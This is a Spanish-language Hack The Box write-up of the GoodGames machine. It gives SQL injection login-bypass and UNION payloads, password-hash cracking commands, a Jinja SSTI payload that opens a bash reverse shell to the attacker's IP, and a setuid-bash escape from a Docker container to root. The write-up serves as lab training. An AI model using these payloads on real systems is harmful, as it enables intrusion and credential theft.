# GoodGames

GoodGames en un CTF de dificultad fácil que podemos encontrar en la plataforma Hack The Box. Tiene vulnerabilidades web básicas. Primero, hay una inyección de SQL que permite tanto omitir el inicio de sesión como una inyección de unión para volcar datos. La página del administrador muestra un nuevo host virtual que, después de autenticarse con credenciales de la base de datos, tiene una vulnerabilidad de SSTI en el nombre del perfil, lo que permite la ejecución codificada y un shell en un contenedor docker. Desde ese contenedor, encontraré la misma contraseña reutilizada por un usuario en el host y SSH para obtener acceso. En el host, abusaré del directorio de inicio que está montado en el contenedor y la forma en que Linux hace los permisos y la propiedad de los archivos para obtener un shell como root en el host. ### Enumeración #### NMAP Comenzamos realizando un escaneo rápido de los puertos que tiene abierto la máquina objetivo.

``` nmap -p- --open -vvv -Pn -n --min-rate 2000 10.10.11.130 ```

Unicamente tenemos un puerto abierto. Vamos a realizar un escaneo más profundo.

``` nmap -p80 -sV -vv 10.10.11.130 ```

Tenemos un puerto 80 donde se está ejecutando un servidor Apache. Este escaneo también nos devuelve un nombre de dominio. Vamos a registrarlo en nuestro archivo /etc/hosts. ``` echo "10.10.11.130 goodgames.htb" >> /etc/hosts ```

#### Enumeración web Vamos a acceder al sitio web para ver su contenido y si contiene información que nos permita avanzar en la resolución de la máquina.

Es un sitio web sobre videojuegos. La mayoría de los enlaces en la página solo apuntan a la misma página, pero hay enlaces a "Blog" ( `/blog`) y "Store" ( `/coming-soon`). También existe un formulario de inicio de sesión. ### Acceso a Panel de Administrador (con SQLMAP) Vamos a intentar utilziar dicho Panel de Administrador para iniciar sesión en el sistema. Para ello, introduciremos unas credenciales al azar y capturaremos la petición con Burp Suite.

Capturamos la petición y obtenemos la siguiente respuesta.

El siguiente paso será guardar está petición en un archivo para poder utilizarlo con SQLMap. El archivo es login.txt.

``` sqlmap -r login.txt --dbs ```

El formulario de inicio de sesión es vulnerable a Blind SQLi. Tenemos dos bases de datos

Comando para extraer las tablas dentro de una base de datos

``` sqlmap -r login.txt -D main --tables ```

Obtenemos tres tablas como resultado. La que parece más interesante es user. Vamos a ver su contenido.

Comando para extraer el contenido de la tabla seleccionada.

``` sqlmap -r login.txt -D main -T user --dump ```

Credenciales del usuario admin, contenida en la base de datos.

Vamos a crear un archivo con el hash del password de admin para ver si podemos descifrarla.

Ahora con Name That Hash vamos a determinar que tipo de hash es. ``` name-that-hash --file hash ```

Por norma general, el tipo de hash es el primero que indica en la lista Most Likely. En caso de error, habría que probar con los tipo de hash que nos indica después. El siguiente paso será descifrar el hash con la utilidad hashcat. ``` hashcat -m 0 hash diccionario_contraseñas --show ```

Obtenemos que la contraseña del usuario admin es superadministrator. Vamos a probar si podemos iniciar sesión con estas credenciales.

### Acceso a Panel de Administrador (SQLi manual) Anteriormente, hemos aprovechado la presencia de una vulnerabilidad SQLi en el formulario de inicio de sesión para encontrar las credenciales de un usuario administrador. Pero esto lo hemos hecho de manera automatizada. Ahora vamos a realizar la mimsa operación pero de forma manual.

Primero vamos a enviar una petición para bypasear el formulario de login. ``` email=' union select 1,1,1,1-- -;&password=securiters ```

Login correcto. Bypass completo de login.

Ahora vamos a seguir extrayendo datos modificando la petición anterior. Vamos a extraer el número de columnas de la base de datos. Después de realizar una serie de pruebas, vemos que la cuarta columna refleja información. Pues vamos a utilizarla para extraer información de interés. ``` email=' union select 1,1,1,database()-- -;&password=securiters ```

El siguiente paso, vamos a enumerar el nombre de las bases de datos. ``` email=' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -;&password=securiters ```

El siguiente paso será enumerar las tablas que pertenecen a la base de datos main. ``` email=' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- -;&password=securiters ```

Tenemos tres tablas dentro de la base de datos main. La que más nos interesa para la información que estamos buscando es user. El siguiente paso será enumerar el contenido de la tabla user. ``` email=' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='user'-- -;&password=securiters ```

La tabla user tiene tres columnas: email, password, name. El siguiente paso será extraer la información contenida en esas columnas. ``` email=' union select 1,2,3,concat(id,':',email,':',name,':',password) from user-- -;&password=securiters ```

Y finalmente, obtenemos las credenciales del usuario admin pero de manual, mediante peticiones UNION SELECT. En la parte 1 del acceso al Panel de Administrador, desciframos la contraseña con Name That Hash más Hascat. En la parte 2, vamos a hacerlo con John The Ripper. ``` john --format=Raw-MD5 password.txt --wordlist=diccionario ```

Ya volveriamos a tener la contraseña de admin (superadministrator) en texto plano. ### Panel de Administrador Una vez introducidas las credenciales en el formulario de inicio de sesión, llegamos al perfil del usuario administrador. Vamos a inspeccionar este panel para buscar posibles puntos vulnerables.

Después de inspeccionar la web del perfil, encontramos est símbolo de settings que nos redirecciona a otra URL con distinto dominio. Lo primero será registra este nuevo dominio en el archivo /etc/hosts. ``` echo "10.10.11.130 internal-administration.goodgames.htb" >> /etc/hosts ```

Una vez registrado el dominio, vamos a acceder desde el perfil de administrador.

Parece que ahora si hemos encontrado el Panel de Administrador del sitio web. Vamos a inspeccionar el sitio en busca de información o puntos vulnerables interesantes. ### Shell a la máquina objetivo Si analizamos los resultados de la extensión de navegador Wappalyzer, vemos que en el servidor objetivo se está ejecutando Python. Dado que se está ejecutando Python, una falla común que podemos encontrar es SSTI. Para verificar esto, vamos a utilizar el payload común {{ 7 \* 7 }}.

El payload se ejecuta en el campo Full Name. Vamos a enviar otro payload común coún para ver que usuario somos en el sistema. ``` {{ namespace.__init__.__globals__.os.popen('id').read() }} ```

Podemos realizar ejecución de comandos, y además, tenemos privilegios root. Vamos a ejecutar el siguiente comando para entablar shell reversa con la máquina objetivo. ``` {{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.16.11/4444 0>&1"').read() }} ``` También debemos iniciar un oyente en la máquina atacante en el puerto 4444.

Una vez establecida la shell reversa, lo primero que vamos a hacer es cambiar a una shell interactiva. ``` script /dev/null -c bash ```

### Acceso al sistema como Augusto Lo primero que vemos es que somos Root y que el nombre de host es extraño. Además, la IP no es la inicial 10.10.11.130. ¿Estaremos en un Docker?

Vemos un `.dockerenv`en el directorio raíz y nuestra dirección IP es `172.19.0.2.`Es probable que la máquina host tenga una interfaz de red con dirección IP `172.19.0.1` Vamos a realizar un escaneo de puertos desde el contenedor usando un binario ejecutable de [NMAP](https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap). Vamos a cargarlo en la máquina objetivo mediante un servidor HTTP con Python. ``` python -m http.server 80 ``` Y lo cargamos en la máquina víctima de la siguiente manera. ``` wget http://10.10.16.11/nmap ``` Una vez cargado en la máquina víctima, vamos a realizar un escaneo de puertos. ``` ./nmap 172.19.0.1 ``` Este Docker tiene abiertos los puertos 22 y 80. Vamos a ver que usuarios están disponibles en la máquina objetivo, y con la contraseña encontrada anteriormente, poder salir del Docker.

El siguiente paso será probar la conexión mediante SSH (desde la terminal Docker) con el usuario encontrado y la contraseña "superadministrador". ``` ssh augustus@172.19.0.1 ```

Ahora ya podemos encontrar la flag user.txt

### Elevación de privilegios Después de revisar la máquina, no encontramos ninguna forma de ganar privilegios. Recordemos que el usuario augustus estaba montado en el Docker y que allí tenemos privilegios. Vamos a intentar utilizar esto para elevar privilegios. Vamos a copiar el archivo /bin/bash al directorio de augustus. ``` cp /bin/bash . ```

Ahora volvemos al Docker para cambiar los privilegios de este archivo. ``` chown root. bash chmod 4777 bash ```

Ahora volvemos a la terminal del usuario augustus, ejecutamos el archivo modificado y vemos si elevamos privilegios. Tenemos privilegios de usuario root y además, encontramos la flag que nos faltaba.

Y ya tendriamos acabado el CTF GoodGames. {% embed url="" %}